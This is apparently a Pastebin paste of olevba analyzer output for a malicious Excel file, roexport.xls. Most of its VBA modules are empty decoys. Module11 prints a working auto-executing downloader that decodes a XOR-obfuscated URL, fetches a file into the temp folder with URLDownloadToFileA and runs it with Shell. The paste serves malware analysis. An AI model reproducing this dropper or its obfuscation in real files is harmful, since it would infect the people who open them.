SHARE
TWEET

Malicious Excel macro

dynamoo Feb 24th, 2015 281 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Flags       Filename                                                        
  2. ----------- -----------------------------------------------------------------
  3. OLE:MAS---- roexport.xls
  4.  
  5. (Flags: OpX=OpenXML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)
  6.  
  7. ===============================================================================
  8. FILE: roexport.xls
  9. Type: OLE
  10. -------------------------------------------------------------------------------
  11. VBA MACRO ÝòàÊíèãà.cls
  12. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  13. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  14. Sub Workbook_Open()
  15. N1
  16. End Sub
  17. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  18. ANALYSIS:
  19. +----------+---------------+----------------------------------------+
  20. | Type     | Keyword       | Description                            |
  21. +----------+---------------+----------------------------------------+
  22. | AutoExec | Workbook_Open | Runs when the Excel Workbook is opened |
  23. +----------+---------------+----------------------------------------+
  24. -------------------------------------------------------------------------------
  25. VBA MACRO Ëèñò1.cls
  26. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  27. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  28. (empty macro)
  29. -------------------------------------------------------------------------------
  30. VBA MACRO Ëèñò2.cls
  31. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  32. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  33. (empty macro)
  34. -------------------------------------------------------------------------------
  35. VBA MACRO Ëèñò3.cls
  36. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  37. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  38. (empty macro)
  39. -------------------------------------------------------------------------------
  40. VBA MACRO Module1.bas
  41. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  42. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  43. Public Function rUkQQqyoTOPN()
  44.  
  45. End Function
  46. Public Sub EiJuKOQIi()
  47.  
  48. End Sub
  49. Public Sub VJeUL()
  50.  
  51. End Sub
  52. Public Sub RFsSpBQxOBFfSQ()
  53.  
  54. End Sub
  55. Private Function wSrxt()
  56.  
  57. End Function
  58. Private Function stDMHlAToGBqQfg()
  59.  
  60. End Function
  61. Private Function NUyLKbfiZyNFqY()
  62.  
  63. End Function
  64. Private Sub cqAUjVIjFEhNgRV()
  65.  
  66. End Sub
  67. Private Sub btqMjH()
  68.  
  69. End Sub
  70. Private Sub YnIwFdYBDkEJ()
  71.  
  72. End Sub
  73. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  74. ANALYSIS:
  75. No suspicious keyword or IOC found.
  76. -------------------------------------------------------------------------------
  77. VBA MACRO Module2.bas
  78. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
  79. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  80. Private Function BQxOBFfS()
  81.  
  82. End Function
  83. Private Function awSrx()
  84.  
  85. End Function
  86. Public Function QstDMHlAToGB()
  87.  
  88. End Function
  89. Public Sub gejTNU()
  90.  
  91. End Sub
  92. Public Function bfiZyNFqYavYqAUjV()
  93.  
  94. End Function
  95. Private Function EhNgRVvVhbt()
  96.  
  97. End Function
  98. Public Function HzvHYnI()
  99.  
  100. End Function
  101. Public Function YBDkE()
  102.  
  103. End Function
  104. Public Function nvwuzQelPccr()
  105.  
  106. End Function
  107. Public Function OeQGorLo()
  108.  
  109. End Function
  110. Private Function mzZZAIUxQwT()
  111.  
  112. End Function
  113. Public Function xrJtPzK()
  114.  
  115. End Function
  116. Public Sub pDLMVuoRTAGaiYD()
  117.  
  118. End Sub
  119. Private Sub CnuBRssHyA()
  120.  
  121. End Sub
  122. Private Function ZQEtNEvIT()
  123.  
  124. End Function
  125. Private Function pQZlNhMk()
  126.  
  127. End Function
  128. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  129. ANALYSIS:
  130. No suspicious keyword or IOC found.
  131. -------------------------------------------------------------------------------
  132. VBA MACRO Class1.cls
  133. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Class1'
  134. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  135.  
  136. Private Function UmYcCcn()
  137.  
  138. End Function
  139. Private Sub TpNGCNftO()
  140.  
  141. End Sub
  142. Public Sub fHJqKPY()
  143.  
  144. End Sub
  145. Public Sub CBGdkrVjiyB()
  146.  
  147. End Sub
  148. Public Sub kdMvxRuzMJsFffG()
  149.  
  150. End Sub
  151. Public Function QCbsSsDxPzV()
  152.  
  153. End Function
  154. Public Sub SevJRSdAvZaGNgo()
  155.  
  156. End Sub
  157. Public Function FDIuAHZzyOE()
  158.  
  159. End Function
  160. Private Function EjhOD()
  161.  
  162. End Function
  163. Public Sub SdLLyyajvQr()
  164.  
  165. End Sub
  166. Private Function YMJDVSqakqmyO()
  167.  
  168. End Function
  169. Private Function wTBeubh()
  170.  
  171. End Function
  172. Private Function dZZYdNGNsS()
  173.  
  174. End Function
  175. Public Function bSrUzjfTofUjtcc()
  176.  
  177. End Function
  178. Private Function zLaHZ()
  179.  
  180. End Function
  181. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  182. ANALYSIS:
  183. No suspicious keyword or IOC found.
  184. -------------------------------------------------------------------------------
  185. VBA MACRO Class2.cls
  186. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Class2'
  187. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  188.  
  189. Private Sub DMQRvKdxQKA()
  190.  
  191. End Sub
  192. Public Sub oteQeIVU()
  193.  
  194. End Sub
  195. Private Sub jHQPzikE()
  196.  
  197. End Sub
  198. Private Function JfsgRtPOqY()
  199.  
  200. End Function
  201. Private Sub FfrlDA()
  202.  
  203. End Sub
  204. Public Function JFQixSFPniLNtN()
  205.  
  206. End Function
  207. Private Sub wFGEJhnuZmlBEH()
  208.  
  209. End Sub
  210. Public Sub gQyAUxCP()
  211.  
  212. End Sub
  213. Private Sub iiJRfGbFevVw()
  214.  
  215. End Sub
  216. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  217. ANALYSIS:
  218. No suspicious keyword or IOC found.
  219. -------------------------------------------------------------------------------
  220. VBA MACRO Module3.bas
  221. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
  222. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  223. Private Sub OcDQCbsSsDx()
  224.  
  225. End Sub
  226. Private Sub FQQSevJRSdAvZaG()
  227.  
  228. End Sub
  229. Private Function eJEFDIuA()
  230.  
  231. End Function
  232. Private Sub yOEHyYAgeL()
  233.  
  234. End Sub
  235. Private Function BPaIIvvQfsTo()
  236.  
  237. End Function
  238. Private Sub UJGASPmVhnju()
  239.  
  240. End Sub
  241. Public Function ktQxbr()
  242.  
  243. End Function
  244. Private Sub FuaVVTZKD()
  245.  
  246. End Sub
  247. Public Sub BQUYPoRwgcQlb()
  248.  
  249. End Sub
  250. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  251. ANALYSIS:
  252. No suspicious keyword or IOC found.
  253. -------------------------------------------------------------------------------
  254. VBA MACRO Module11.bas
  255. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module11'
  256. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  257. #If VBA7 Then
  258.     Private Declare PtrSafe Function GHGijkHKJG Lib "urlmon" Alias _
  259.     "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
  260.     ByVal sdfsdf As String, _
  261.     ByVal jdfgdfg As String, _
  262.     ByVal tjrtgefsdf As Long, _
  263.     ByVal khlkdfsef As LongPtr) As LongPtr
  264. #Else
  265.     Private Declare Function GHGijkHKJG Lib "urlmon" Alias _
  266.     "URLDownloadToFileA" (ByVal pCaller As Long, _
  267.     ByVal sdfsdf As String, _
  268.     ByVal jdfgdfg As String, _
  269.     ByVal tjrtgefsdf As Long, _
  270.     ByVal khlkdfsef As Long) As Long
  271. #End If
  272.  
  273.  
  274. Sub N1()
  275. tiO XorByDataLen("—‹‹ÅÐЛŠ“œ–Œ–‘™Š‘›ÑšŒÐ•ŒÐ–‘Ñš‡š"), Environ(XorByDataLen("«²¯")) & XorByDataLen("£¸·•”›™˜Ñš‡š")
  276. Dim ZjplxNd As Integer
  277. For ZjplxNd = 0 To 0
  278. If ZjplxNd = 5 Then End
  279. Next ZjplxNd
  280. Dim bpQoaeEsqkC As Integer
  281. For bpQoaeEsqkC = 0 To 0
  282. If bpQoaeEsqkC = 5 Then End
  283. Next bpQoaeEsqkC
  284. End Sub
  285. Function tiO(f243r14Z As String, x9 As String) As Boolean
  286. vJHKBJdfkgfg = GHGijkHKJG(0&, f243r14Z, x9, 0&, 0&)
  287. Dim erSnRqHiITNg As Integer
  288. For erSnRqHiITNg = 0 To 0
  289. If erSnRqHiITNg = 5 Then End
  290. Next erSnRqHiITNg
  291. Dim oocNpLYmT As Integer
  292. For oocNpLYmT = 0 To 0
  293. If oocNpLYmT = 5 Then End
  294. Next oocNpLYmT
  295. Dim OwZLs2
  296. Dim KMhJO As Integer
  297. For KMhJO = 0 To 0
  298. If KMhJO = 5 Then End
  299. Next KMhJO
  300. Dim LYmTlQb As Integer
  301. For LYmTlQb = 0 To 0
  302. If LYmTlQb = 5 Then End
  303. Next LYmTlQb
  304. OwZLs2 = Shell(x9, 1)
  305. Dim OcZHUuuVer As Integer
  306. For OcZHUuuVer = 0 To 0
  307. If OcZHUuuVer = 5 Then End
  308. Next OcZHUuuVer
  309. Dim ocNpLYm As Integer
  310. For ocNpLYm = 0 To 0
  311. If ocNpLYm = 5 Then End
  312. Next ocNpLYm
  313. End Function
  314.  
  315. Public Function XorByDataLen(sData As String) As String
  316. Dim bData() As Byte
  317. Dim ZvfqvsD As Integer
  318. For ZvfqvsD = 0 To 0
  319. If ZvfqvsD = 5 Then End
  320. Next ZvfqvsD
  321. Dim pKArFPyyl As Integer
  322. For pKArFPyyl = 0 To 0
  323. If pKArFPyyl = 5 Then End
  324. Next pKArFPyyl
  325. Dim i As Integer
  326. Dim QvHHQbeVuJ As Integer
  327. For QvHHQbeVuJ = 0 To 0
  328. If QvHHQbeVuJ = 5 Then End
  329. Next QvHHQbeVuJ
  330. Dim Npaquw As Integer
  331. For Npaquw = 0 To 0
  332. If Npaquw = 5 Then End
  333. Next Npaquw
  334. If Len(sData) <> 0 Then
  335. Dim xnSccaf As Integer
  336. For xnSccaf = 0 To 0
  337. If xnSccaf = 5 Then End
  338. Next xnSccaf
  339. Dim RCxmGxo As Integer
  340. For RCxmGxo = 0 To 0
  341. If RCxmGxo = 5 Then End
  342. Next RCxmGxo
  343. ReDim bData(Len(sData))
  344. Dim NrEDTYbRrG As Integer
  345. For NrEDTYbRrG = 0 To 0
  346. If NrEDTYbRrG = 5 Then End
  347. Next NrEDTYbRrG
  348. Dim bQwrsqvgZgKl As Integer
  349. For bQwrsqvgZgKl = 0 To 0
  350. If bQwrsqvgZgKl = 5 Then End
  351. Next bQwrsqvgZgKl
  352. bData = StrConv(sData, vbFromUnicode)
  353. Dim yYyJDVSp As Integer
  354. For yYyJDVSp = 0 To 0
  355. If yYyJDVSp = 5 Then End
  356. Next yYyJDVSp
  357. Dim dUuQB As Integer
  358. For dUuQB = 0 To 0
  359. If dUuQB = 5 Then End
  360. Next dUuQB
  361. For i = 0 To Len(sData) - 1
  362. Dim NdwPje As Integer
  363. For NdwPje = 0 To 0
  364. If NdwPje = 5 Then End
  365. Next NdwPje
  366. Dim qyzJh As Integer
  367. For qyzJh = 0 To 0
  368. If qyzJh = 5 Then End
  369. Next qyzJh
  370. bData(i) = bData(i) Xor 255
  371. Dim xPMkFekgs As Integer
  372. For xPMkFekgs = 0 To 0
  373. If xPMkFekgs = 5 Then End
  374. Next xPMkFekgs
  375. Dim CmxDzK As Integer
  376. For CmxDzK = 0 To 0
  377. If CmxDzK = 5 Then End
  378. Next CmxDzK
  379. Next i
  380. Dim sfGcpDlCo As Integer
  381. For sfGcpDlCo = 0 To 0
  382. If sfGcpDlCo = 5 Then End
  383. Next sfGcpDlCo
  384. Dim dzjuzwHZ As Integer
  385. For dzjuzwHZ = 0 To 0
  386. If dzjuzwHZ = 5 Then End
  387. Next dzjuzwHZ
  388. XorByDataLen = StrConv(bData, vbUnicode)
  389. Dim pcCZmAhzl As Integer
  390. For pcCZmAhzl = 0 To 0
  391. If pcCZmAhzl = 5 Then End
  392. Next pcCZmAhzl
  393. Dim yNGqY As Integer
  394. For yNGqY = 0 To 0
  395. If yNGqY = 5 Then End
  396. Next yNGqY
  397. End If
  398. Dim TCCpcCZmAh As Integer
  399. For TCCpcCZmAh = 0 To 0
  400. If TCCpcCZmAh = 5 Then End
  401. Next TCCpcCZmAh
  402. Dim vYcqn As Integer
  403. For vYcqn = 0 To 0
  404. If vYcqn = 5 Then End
  405. Next vYcqn
  406. End Function
  407.  
  408.  
  409. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  410. ANALYSIS:
  411. +------------+--------------------+-----------------------------------------+
  412. | Type       | Keyword            | Description                             |
  413. +------------+--------------------+-----------------------------------------+
  414. | Suspicious | Lib                | May run code from a DLL                 |
  415. | Suspicious | Shell              | May run an executable file or a system  |
  416. |            |                    | command                                 |
  417. | Suspicious | Environ            | May read system environment variables   |
  418. | Suspicious | Xor                | May attempt to obfuscate specific       |
  419. |            |                    | strings                                 |
  420. | Suspicious | URLDownloadToFileA | May download files from the Internet    |
  421. +------------+--------------------+-----------------------------------------+
  422. -------------------------------------------------------------------------------
  423. VBA MACRO Module4.bas
  424. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module4'
  425. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  426. Private Function frFnEquUIFzR()
  427.  
  428. End Function
  429. Public Function gmiuxLijsCxb()
  430.  
  431. End Function
  432. Public Function wqgLU()
  433.  
  434. End Function
  435. Public Function JCJoBAQTQOoCvgN()
  436.  
  437. End Function
  438. Private Sub RfpKYLxZvuVDU()
  439.  
  440. End Sub
  441. Public Sub LQQjgCY()
  442.  
  443. End Sub
  444. Private Function wNdymvS()
  445.  
  446. End Function
  447. Public Sub atzHwclmk()
  448.  
  449. End Sub
  450. Private Sub aERQhlnfETLweg()
  451.  
  452. End Sub
  453. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  454. ANALYSIS:
  455. No suspicious keyword or IOC found.
  456. -------------------------------------------------------------------------------
  457. VBA MACRO Class3.cls
  458. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Class3'
  459. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  460.  
  461. Public Function lLQQjgCYxplw()
  462.  
  463. End Function
  464. Public Sub mvSNrtatzH()
  465.  
  466. End Sub
  467. Private Function mkpMSaE()
  468.  
  469. End Function
  470. Private Sub lnfETL()
  471.  
  472. End Sub
  473. Private Function Adivsb()
  474.  
  475. End Function
  476. Public Function pyKmGlJcBcnhz()
  477.  
  478. End Function
  479. Public Sub zFBNetAC()
  480.  
  481. End Sub
  482. Public Sub HJqwP()
  483.  
  484. End Sub
  485. Public Function oonsdjrHi()
  486.  
  487. End Function
  488. Private Sub qiGkOMu()
  489.  
  490. End Sub
  491. Private Function kyIrrefFO()
  492.  
  493. End Function
  494. Public Function BasEspjByVFPVRe()
  495.  
  496. End Function
  497. Public Function SczhKaGMgodJEE()
  498.  
  499. End Function
  500. Public Sub mtYykADGy()
  501.  
  502. End Sub
  503. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  504. ANALYSIS:
  505. No suspicious keyword or IOC found.
  506. -------------------------------------------------------------------------------
  507. VBA MACRO Module5.bas
  508. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module5'
  509. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  510. (empty macro)
  511. -------------------------------------------------------------------------------
  512. VBA MACRO Module6.bas
  513. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module6'
  514. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  515. Public Function bfiZyNFqYavY()
  516.  
  517. End Function
  518. Public Function UjVIjFEhNg()
  519.  
  520. End Function
  521. Public Sub VhbtqMjHz()
  522.  
  523. End Sub
  524. Public Function nIwFdYBDkEJRHnv()
  525.  
  526. End Function
  527. Public Sub QelPccrvyp()
  528.  
  529. End Sub
  530. Public Sub GorLosGCmzZZAIU()
  531.  
  532. End Sub
  533. Private Function TmLmxrJtP()
  534.  
  535. End Function
  536. Private Sub LYpDLMVuoRTAGa()
  537.  
  538. End Sub
  539. Private Sub yzxCnuBRssH()
  540.  
  541. End Sub
  542. Public Sub RuZQEtNEv()
  543.  
  544. End Sub
  545. Public Sub BppQZlNhMkC()
  546.  
  547. End Sub
  548. Private Function uMJgPbgdoF()
  549.  
  550. End Function
  551. Private Function mKrUk()
  552.  
  553. End Function
  554. Private Sub yoTOPNSD()
  555.  
  556. End Sub
  557. Private Sub JuKOQI()
  558.  
  559. End Sub
  560. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  561. ANALYSIS:
  562. No suspicious keyword or IOC found.
  563. -------------------------------------------------------------------------------
  564. VBA MACRO Class4.cls
  565. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Class4'
  566. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  567.  
  568. Private Sub eJEFDIuAZzyOEHyYAgeL()
  569.  
  570. End Sub
  571. Private Sub BPaIIvvQfsTorIUJGASPmVhnju()
  572.  
  573. End Sub
  574. Private Function ktQxbrexFuaVVTZKDKpPB()
  575.  
  576. End Function
  577. Private Sub PoRwgcQlbRgqZZL()
  578.  
  579. End Sub
  580. Private Function IQEVHLlaQ()
  581.  
  582. End Function
  583. Private Sub DZxDzL()
  584.  
  585. End Sub
  586. Private Sub AJTNrHauNH()
  587.  
  588. End Sub
  589. Private Function mlqbTbF()
  590.  
  591. End Function
  592. Public Function logETM()
  593.  
  594. End Function
  595. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  596. ANALYSIS:
  597. No suspicious keyword or IOC found.
  598. -------------------------------------------------------------------------------
  599. VBA MACRO Class5.cls
  600. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Class5'
  601. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  602.  
  603. Private Function cBcnhziFpzFB()
  604.  
  605. End Function
  606. Public Function ACLjeHJqw()
  607.  
  608. End Function
  609. Public Function soonsdjrHihxn()
  610.  
  611. End Function
  612. Private Sub kOMujDtkyIrr()
  613.  
  614. End Sub
  615. Public Function ObDQBasEspj()
  616.  
  617. End Function
  618. Public Sub FPVReuvQSczhKaG()
  619.  
  620. End Sub
  621. Private Sub dJEEDItm()
  622.  
  623. End Sub
  624. Public Sub kADGyQAfOK()
  625.  
  626. End Sub
  627. Public Function BOZHHvhIfrFn()
  628.  
  629. End Function
  630. Public Sub UIFzRPmHg()
  631.  
  632. End Sub
  633. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  634. ANALYSIS:
  635. No suspicious keyword or IOC found.
  636. -------------------------------------------------------------------------------
  637. VBA MACRO Module7.bas
  638. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module7'
  639. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  640. Public Sub OeQGorLoGCmzZZAIU()
  641.  
  642. End Sub
  643. Public Sub TmLmxrJtPKPLYpDLMVu()
  644.  
  645. End Sub
  646. Private Sub AGaiYDyzxCnuBR()
  647.  
  648. End Sub
  649. Public Sub yAsRuZQEtNEv()
  650.  
  651. End Sub
  652. Public Function BppQZlNhMkCCAuMJgPbgdoFG()
  653.  
  654. End Function
  655. Private Sub KrUkQQq()
  656.  
  657. End Sub
  658. Private Sub OPNSDwEiJuKOQI()
  659.  
  660. End Sub
  661. Public Function aVJeULak()
  662.  
  663. End Function
  664. Private Function sSpBQxOBFfS()
  665.  
  666. End Function
  667. Private Function awSrxEHQstDMHl()
  668.  
  669. End Function
  670. Public Function GBqQfgej()
  671.  
  672. End Function
  673. Private Sub yLKbfiZyNFqYav()
  674.  
  675. End Sub
  676. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  677. ANALYSIS:
  678. No suspicious keyword or IOC found.
  679. -------------------------------------------------------------------------------
  680. VBA MACRO Module8.bas
  681. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module8'
  682. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  683. Public Sub hxnqiG()
  684.  
  685. End Sub
  686. Private Function ujDtkyIrrefFO()
  687.  
  688. End Function
  689. Public Sub BasEspjByVFPVRevQSczhKaG()
  690.  
  691. End Sub
  692. Private Function dJEEDItmYykADGyQA()
  693.  
  694. End Function
  695. Private Function zTKBOZHHvhIf()
  696.  
  697. End Function
  698. Public Function EquUIFz()
  699.  
  700. End Function
  701. Private Sub HgmiuxL()
  702.  
  703. End Sub
  704. Private Function CxbqIdwqg()
  705.  
  706. End Function
  707. Public Function TZJCJoBAQTQOoCv()
  708.  
  709. End Function
  710. Public Function kMRfpKYLxZvuV()
  711.  
  712. End Function
  713. Public Sub KlLQQjgCYxpl()
  714.  
  715. End Sub
  716. Private Function ymvSN()
  717.  
  718. End Function
  719. Public Sub KPYNtCCB()
  720.  
  721. End Sub
  722. Private Function rVjiyBE()
  723.  
  724. End Function
  725. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  726. ANALYSIS:
  727. No suspicious keyword or IOC found.
  728. -------------------------------------------------------------------------------
  729. VBA MACRO Module9.bas
  730. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module9'
  731. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  732. Public Sub UVTZJCJoBAQTQ()
  733.  
  734. End Sub
  735. Private Sub vgNPkMRfpKY()
  736.  
  737. End Sub
  738. Public Sub vuVDUGKlLQQjgCY()
  739.  
  740. End Sub
  741. Private Sub wNdymvSrtatzHwclmkpM()
  742.  
  743. End Sub
  744. Private Sub RQhlnfETLwe()
  745.  
  746. End Sub
  747. Public Sub ivsbo()
  748.  
  749. End Sub
  750. Public Sub yKmGlJcB()
  751.  
  752. End Sub
  753. Private Function ziFpzF()
  754.  
  755. End Function
  756. Private Function tACLje()
  757.  
  758. End Function
  759. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  760. ANALYSIS:
  761. No suspicious keyword or IOC found.
  762. -------------------------------------------------------------------------------
  763. VBA MACRO Class6.cls
  764. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Class6'
  765. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  766.  
  767. Private Sub QQjgD()
  768.  
  769. End Sub
  770. Public Function zLOdyAJTNrH()
  771.  
  772. End Function
  773. Public Function HxdmmlqbTbFSR()
  774.  
  775. End Function
  776. Public Sub gETMwehB()
  777.  
  778. End Sub
  779. Public Function GcpcOqMKn()
  780.  
  781. End Function
  782. Public Sub cCcnhzwTpNGCNft()
  783.  
  784. End Sub
  785. Public Sub kfHJqKPYNtCCB()
  786.  
  787. End Sub
  788. Public Function rVjiyBEUkdMvxRuz()
  789.  
  790. End Function
  791. Private Function FffGOcDQ()
  792.  
  793. End Function
  794. Private Sub SsDxPzVFQ()
  795.  
  796. End Sub
  797. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  798. ANALYSIS:
  799. No suspicious keyword or IOC found.
  800. -------------------------------------------------------------------------------
  801. VBA MACRO Module10.bas
  802. in file: roexport.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module10'
  803. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  804. (empty macro)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top